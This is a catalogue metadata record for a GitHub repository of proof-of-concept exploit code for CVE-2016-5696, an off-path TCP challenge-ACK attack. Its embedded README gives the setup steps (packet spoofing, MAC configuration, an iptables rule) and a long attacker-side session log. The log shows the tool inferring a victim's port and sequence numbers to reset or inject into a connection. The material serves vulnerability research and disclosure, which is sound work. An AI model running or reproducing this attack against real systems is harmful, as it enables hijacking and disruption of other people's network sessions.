{"id":13642110,"url":"https://github.com/jduck/challack","last_synced_at":"2025-10-07T13:38:01.900Z","repository":{"id":140704193,"uuid":"66317906","full_name":"jduck/challack","owner":"jduck","description":"Proof-of-concept exploit code for CVE-2016-5696","archived":false,"fork":false,"pushed_at":"2016-08-30T06:32:43.000Z","size":228,"stargazers_count":70,"open_issues_count":0,"forks_count":32,"subscribers_count":8,"default_branch":"master","last_synced_at":"2024-11-09T13:37:05.587Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jduck.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2016-08-23T00:21:18.000Z","updated_at":"2024-08-12T19:24:30.000Z","dependencies_parsed_at":"2024-01-14T09:23:36.252Z","dependency_job_id":null,"html_url":"https://github.com/jduck/challack","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jduck%2Fchallack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jduck%2Fchallack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jduck%2Fchallack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jduck%2Fchallack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jduck","download_url":"https://codeload.github.com/jduck/challack/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243860863,"owners_count":20359820,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-02T01:01:27.668Z","updated_at":"2025-10-07T13:37:56.859Z","avatar_url":"https://github.com/jduck.png","language":"C","funding_links":[],"categories":["C"],"sub_categories":[],"readme":"# Proof-of-concept code for CVE-2016-5696\n\nThis code currently allows reseting connections or injecting into sessions. The attack is implemented against both clients and servers.\n\nFor detailed information, consult the original publication:\n\n[Off-Path TCP Exploits: Global Rate Limit Considered Dangerous](http://www.cs.ucr.edu/~zhiyunq/pub/sec16_TCP_pure_offpath.pdf)\n\n# Requirements\n\n1. You need to be able to spoof packets (no egress filtering).\n2. You'll need to update *ROUTER_MAC* and *LOCAL_MAC* in *challack.c* with your spoof-ready machine's details.\n2. You need iptables installed to DROP packets from the target host/port.  Otherwise, your legitimate TCP stack will interfere with this program's operation.  This will appear as an immediate RST after connection establishment.\n\n# DEMO Session Excerpt\n\nNOTE: The addresses have been changed to protect the innocent.\n\nAttacker side:\n\n```\n# ./challack -a server.cve-2016-5696.org 80 client.cve-2016-5696.org\n[*] Launching off-path challenge ACK attack against:\n    server: 31.3.3.7:80\n    client: 1.3.3.7 (port hint: 0)\n    from: 3.13.3.7\n[*] Selected local port: 15083\n[*] Starting capture on \"eth0\" ...\n[*] TCP Window size: 14600\n[*] TCP handshake complete! Entering interactive session...\n[*] Commencing attack...\n[*] time-sync: round 1 - 108 challenge ACKs\n[*] time-sync: round 2 - 109 challenge ACKs\n[*] time-sync: round 3 - 100 challenge ACKs\n[*] time-sync: round 4 - 100 challenge ACKs\n[*] Time synchronization complete!\n[*] tuple-infer: guessed port is in [32768 - 36768) (start: 32768): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [36768 - 40768) (start: 36768):  99 challenge ACKs - OK\n[*] tuple-infer: guessed port is in [38768 - 40768) (start: 36768): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [37768 - 38768) (start: 36768): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [37268 - 37768) (start: 36768):  99 challenge ACKs - OK\n[*] tuple-infer: guessed port is in [37518 - 37768) (start: 37268): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [37393 - 37518) (start: 37268): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [37330 - 37393) (start: 37268):  99 challenge ACKs - OK\n[*] tuple-infer: guessed port is in [37361 - 37393) (start: 37330):  99 challenge ACKs - OK\n[*] tuple-infer: guessed port is in [37377 - 37393) (start: 37361): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [37369 - 37377) (start: 37361):  99 challenge ACKs - OK\n[*] tuple-infer: guessed port is in [37373 - 37377) (start: 37369):  99 challenge ACKs - OK\n[*] tuple-infer: guessed port is in [37375 - 37377) (start: 37373): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [37374 - 37375) (start: 37373): 100 challenge ACKs - NO\n[*] tuple-infer: guessed port is in [37373 - 37374) (start: 37373):  99 challenge ACKs - OK\n[*] Guessed client port (via binary search): 37373\n[*] seq-infer: guessed seqs [00000000 - 06f63a00): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [06f63a00 - 0dec7400): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [0dec7400 - 14e2ae00): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [14e2ae00 - 1bd8e800): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [1bd8e800 - 22cf2200): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [22cf2200 - 29c55c00): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [29c55c00 - 30bb9600): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [30bb9600 - 37b1d000): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [37b1d000 - 3ea80a00): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [3ea80a00 - 459e4400): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [459e4400 - 4c947e00): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [4c947e00 - 538ab800): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [538ab800 - 5a80f200): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [5a80f200 - 61772c00): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [61772c00 - 686d6600): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [686d6600 - 6f63a000): 4000 packets,  99 challenge ACKs\n[*] Narrowed sequence (1) to 1752000000 - 1868829200!\n[*] seq-infer: guessed seqs [6be88300 - 6f63a000): 2000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6a2af480 - 6be88300): 1000 packets,  99 challenge ACKs\n[*] seq-infer: guessed seqs [6b09bbc0 - 6be88300): 500 packets,  99 challenge ACKs\n[*] seq-infer: guessed seqs [6b791f60 - 6be88300): 250 packets,  99 challenge ACKs\n[*] seq-infer: guessed seqs [6bb0d130 - 6be88300): 125 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6b94bf40 - 6bb0d130): 63 packets,  99 challenge ACKs\n[*] seq-infer: guessed seqs [6ba28f30 - 6bb0d130): 32 packets,  99 challenge ACKs\n[*] seq-infer: guessed seqs [6ba9b030 - 6bb0d130): 16 packets,  99 challenge ACKs\n[*] seq-infer: guessed seqs [6bad40b0 - 6bb0d130): 8 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6bab7870 - 6bad40b0): 4 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baa9450 - 6bab7870): 2 packets,  99 challenge ACKs\n[*] seq-infer: guessed seqs [6bab0660 - 6bab7870): 1 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baa9450 - 6bab0660): 1 packets,  99 challenge ACKs\n[*] Narrowed sequence (2) to: 1806341200 - 1806370400\n[*] seq-infer: guessed seqs [6bab0660 - 6baafd00): 2400 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baafd00 - 6baaed60): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baaed60 - 6baaddc0): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baaddc0 - 6baace20): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baace20 - 6baabe80): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baabe80 - 6baaaee0): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baaaee0 - 6baa9f40): 4000 packets, 100 challenge ACKs\n[*] seq-infer: guessed seqs [6baa9f40 - 6baa8fa0): 4000 packets,  98 challenge ACKs\n[*] seq-infer: guessed seqs [6baa8fa0 - 6baa8000): 4000 packets,  98 challenge ACKs\n[*] seq-infer: guessed seqs [6baa8000 - 6baa7060): 4000 packets,  98 challenge ACKs\n[*] seq-infer: guessed seqs [6baa7060 - 6baa60c0): 4000 packets,  98 challenge ACKs\n[*] seq-infer: guessed seqs [6baa60c0 - 6baa5120): 4000 packets,  98 challenge ACKs\n[*] seq-infer: guessed seqs [6baa5120 - 6baa4180): 4000 packets,  98 challenge ACKs\n[*] seq-infer: guessed seqs [6baa4180 - 6baa31e0): 4000 packets,  98 challenge ACKs\n[*] seq-infer: guessed seqs [6baa31e0 - 6baa2240): 4000 packets,  99 challenge ACKs\n[!] Exhausted sequence number search (2)...\n```\n\nVictim side:\n\n```\n$ ./client server.cve-2016-5696.org 80\n[*] connected from port 37373 to server.cve-2016-5696.org:80 on sd 3\n    sending request...\n    read 251 bytes of data in 0 39221 seconds\n    slept 59 148 seconds.\n    sending request...\n    read 251 bytes of data in 0 27517 seconds\n    slept 59 330 seconds.\n    sending request...\nread: Connection reset by peer\n[...]\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjduck%2Fchallack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjduck%2Fchallack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjduck%2Fchallack/lists"}